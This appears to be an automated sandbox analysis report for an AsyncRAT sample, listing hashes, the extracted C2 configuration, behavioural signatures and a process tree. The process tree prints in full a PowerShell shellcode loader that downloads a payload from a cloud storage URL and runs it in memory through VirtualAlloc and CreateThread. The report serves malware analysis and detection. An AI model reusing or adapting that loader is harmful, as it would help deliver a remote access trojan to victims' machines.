asyncrat | 8ea56b9b4f79485aedb615161ba64c55950a6970f21dc0f2a7691dd66de91cd2

General

Target

black.bat
Size

7KB
MD5

1527117f206e85215dc0b306ff303997
SHA1

058297bbc06690c0fc1614a27dccab912acbfd01
SHA256

8ea56b9b4f79485aedb615161ba64c55950a6970f21dc0f2a7691dd66de91cd2
SHA512

490de266e4516bee0cc6075ec693cbe53c629a1f9740df94951b780745ea67b452b96b6d4e413d9a144e2f853da4cbd0bfab86638440daf8cc7ac9a1269c4e4f
SSDEEP

192:9y/GNQigY2Nw9GKNCufevytXrrLe57YKRZ280QDdc28eNMqMzDWZ:9EGNrJzsKUufKytXr2OKH0Mi28eNMqM2

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

10.14.0.3:6606

10.14.0.3:7707

10.14.0.3:8808

Mutex

SoDs5pvJ8zw0

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/1556-24-0x0000022742D60000-0x0000022742D72000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	3108	powershell.exe
9	3108	powershell.exe
10	3108	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3108	powershell.exe
3108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3108	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1572 wrote to memory of 3108	1572	cmd.exe	83
PID 1572 wrote to memory of 3108	1572	cmd.exe	83
PID 3108 wrote to memory of 1556	3108	powershell.exe	84
PID 3108 wrote to memory of 1556	3108	powershell.exe	84
PID 3108 wrote to memory of 1556	3108	powershell.exe	84
PID 3108 wrote to memory of 1556	3108	powershell.exe	84
PID 3108 wrote to memory of 1556	3108	powershell.exe	84
PID 3108 wrote to memory of 1556	3108	powershell.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\black.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e $ P r o g r e s s P r e f e r e n c e   =   ' S i l e n t l y C o n t i n u e ' 
 f u n c t i o n   L o o k u p F u n c   { 
         P a r a m   ( $ m o d u l e N a m e ,   $ f u n c t i o n N a m e ) 
         $ a s s e m   =   ( [ A p p D o m a i n ] : : C u r r e n t D o m a i n . G e t A s s e m b l i e s ( )   |   W h e r e - O b j e c t   {   $ _ . G l o b a l A s s e m b l y C a c h e   - A n d   $ _ . L o c a t i o n . S p l i t ( ' \ \ ' ) [ - 1 ] . E q u a l s ( ' S y s t e m . d l l ' ) } ) . G e t T y p e ( ' M i c r o s o f t . W i n 3 2 . U n s a f e N a t i v e M e t h o d s ' ) 
         $ t m p   =   $ a s s e m . G e t M e t h o d s ( )   |   F o r E a c h - O b j e c t   { I f ( $ _ . N a m e   - e q   " G e t P r o c A d d r e s s " )   { $ _ } }   
         $ h a n d l e   =   $ a s s e m . G e t M e t h o d ( ' G e t M o d u l e H a n d l e ' ) . I n v o k e ( $ n u l l ,   @ ( $ m o d u l e N a m e ) ) ; 
         [ I n t P t r ]   $ r e s u l t   =   0 ; 
         t r y   { 
                 W r i t e - H o s t   " F i r s t   I n v o k e   -   $ m o d u l e N a m e   $ f u n c t i o n N a m e " ; 
                 $ r e s u l t   =   $ t m p [ 0 ] . I n v o k e ( $ n u l l ,   @ ( $ h a n d l e ,   $ f u n c t i o n N a m e ) ) ; 
         } c a t c h   { 
                 W r i t e - H o s t   " S e c o n d   I n v o k e   -   $ m o d u l e N a m e   $ f u n c t i o n N a m e " ; 
                 $ h a n d l e   =   n e w - o b j e c t   - T y p e N a m e   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . H a n d l e R e f   - A r g u m e n t L i s t   @ ( $ n u l l ,   $ h a n d l e ) ; 
                 $ r e s u l t   =   $ t m p [ 0 ] . I n v o k e ( $ n u l l ,   @ ( $ h a n d l e ,   $ f u n c t i o n N a m e ) ) ; 
         } 
         r e t u r n   $ r e s u l t ; 
 } 
 f u n c t i o n   g e t D e l e g a t e T y p e   { 
         P a r a m   ( [ P a r a m e t e r ( P o s i t i o n   =   0 ,   M a n d a t o r y   =   $ T r u e ) ]   [ T y p e [ ] ]   $ f u n c , [ P a r a m e t e r ( P o s i t i o n   =   1 ) ]   [ T y p e ]   $ d e l T y p e   =   [ V o i d ] ) 
         $ t y p e   =   [ A p p D o m a i n ] : : C u r r e n t D o m a i n . D e f i n e D y n a m i c A s s e m b l y ( ( N e w - O b j e c t   S y s t e m . R e f l e c t i o n . A s s e m b l y N a m e ( ' R e f l e c t e d D e l e g a t e ' ) ) ,   [ S y s t e m . R e f l e c t i o n . E m i t . A s s e m b l y B u i l d e r A c c e s s ] : : R u n ) . D e f i n e D y n a m i c M o d u l e ( ' I n M e m o r y M o d u l e ' ,   $ f a l s e ) . D e f i n e T y p e ( ' M y D e l e g a t e T y p e ' , ' C l a s s ,   P u b l i c ,   S e a l e d ,   A n s i C l a s s ,   A u t o C l a s s ' ,   [ S y s t e m . M u l t i c a s t D e l e g a t e ] ) 
         $ t y p e . D e f i n e C o n s t r u c t o r ( ' R T S p e c i a l N a m e ,   H i d e B y S i g ,   P u b l i c ' , [ S y s t e m . R e f l e c t i o n . C a l l i n g C o n v e n t i o n s ] : : S t a n d a r d ,   $ f u n c ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d ' ) 
         $ t y p e . D e f i n e M e t h o d ( ' I n v o k e ' ,   ' P u b l i c ,   H i d e B y S i g ,   N e w S l o t ,   V i r t u a l ' ,   $ d e l T y p e ,   $ f u n c ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d ' ) 
         r e t u r n   $ t y p e . C r e a t e T y p e ( )   
 } 
 
 [ B y t e [ ] ]   $ b u f   =   ( i W r   - U s E b   " h t t p s : / / u p n o w - p r o d . f f 4 5 e 4 0 d 1 a 1 c 8 f 7 e 7 d e 4 e 9 7 6 d 0 c 9 e 5 5 5 . r 2 . c l o u d f l a r e s t o r a g e . c o m / B J k v b F o j W P U Q a u D K 6 1 B s 1 H 7 m P v G 3 / a 9 c b f e 9 1 - 5 e 7 f - 4 7 a 9 - a 0 5 c - 9 e a a c 5 b b 2 e 3 c ? X - A m z - A l g o r i t h m = A W S 4 - H M A C - S H A 2 5 6 & X - A m z - C r e d e n t i a l = c d d 1 2 e 3 5 b b d 2 2 0 3 0 3 9 5 7 d c 5 6 0 3 a 4 c c 8 e % 2 F 2 0 2 4 0 7 1 4 % 2 F a u t o % 2 F s 3 % 2 F a w s 4 _ r e q u e s t & X - A m z - D a t e = 2 0 2 4 0 7 1 4 T 0 6 3 3 5 6 Z & X - A m z - E x p i r e s = 4 3 2 0 0 & X - A m z - S i g n a t u r e = 2 5 4 0 1 3 c 4 e 1 b f 4 7 e 1 c d 8 0 4 3 3 c 8 e d 2 5 4 a 6 4 4 8 6 6 1 c 0 b e 1 c 9 d 5 2 c 3 4 3 b b e 8 8 8 f 8 7 c b 6 & X - A m z - S i g n e d H e a d e r s = h o s t & r e s p o n s e - c o n t e n t - d i s p o s i t i o n = a t t a c h m e n t % 3 B % 2 0 f i l e n a m e % 3 D % 2 2 o u t . b i n % 2 2 " ) . c o n t e n t 
 $ l p M e m   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   V i r t u a l A l l o c ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] ) ( [ I n t P t r ] ) ) ) . I n v o k e ( [ I n t P t r ] : : Z e r o ,   $ b u f . l e n g t h ,   0 x 3 0 0 0 ,   0 x 4 0 ) 
 [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : C o p y ( $ b u f ,   0 ,   $ l p M e m ,   $ b u f . l e n g t h ) 
 $ h T h r e a d   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   C r e a t e T h r e a d ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ U I n t 3 2 ] ,   [ I n t P t r ] ,   [ I n t P t r ] , [ U I n t 3 2 ] ,   [ I n t P t r ] ) ( [ I n t P t r ] ) ) ) . I n v o k e ( [ I n t P t r ] : : Z e r o , 0 , $ l p M e m , [ I n t P t r ] : : Z e r o , 0 , [ I n t P t r ] : : Z e r o ) 
 [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   W a i t F o r S i n g l e O b j e c t ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ I n t 3 2 ] ) ( [ I n t ] ) ) ) . I n v o k e ( $ h T h r e a d ,   0 x F F F F F F F F ) 
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe
    "C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe"
    3⤵
    PID:1556

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvpiyjnu.smt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1556-22-0x0000022742CA0000-0x0000022742CB3000-memory.dmp

Filesize
76KB

Download
memory/1556-26-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/1556-24-0x0000022742D60000-0x0000022742D72000-memory.dmp

Filesize
72KB

Download
memory/1556-23-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp

Filesize
8KB

Download
memory/3108-11-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-13-0x0000018F723F0000-0x0000018F72442000-memory.dmp

Filesize
328KB

Download
memory/3108-14-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-15-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-12-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-20-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp

Filesize
8KB

Download
memory/3108-0-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp

Filesize
8KB

Download
memory/3108-2-0x0000018F71EC0000-0x0000018F71EE2000-memory.dmp

Filesize
136KB

Download
memory/3108-25-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-1-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download
memory/3108-27-0x0000018F723F0000-0x0000018F72442000-memory.dmp

Filesize
328KB

Download
memory/3108-28-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing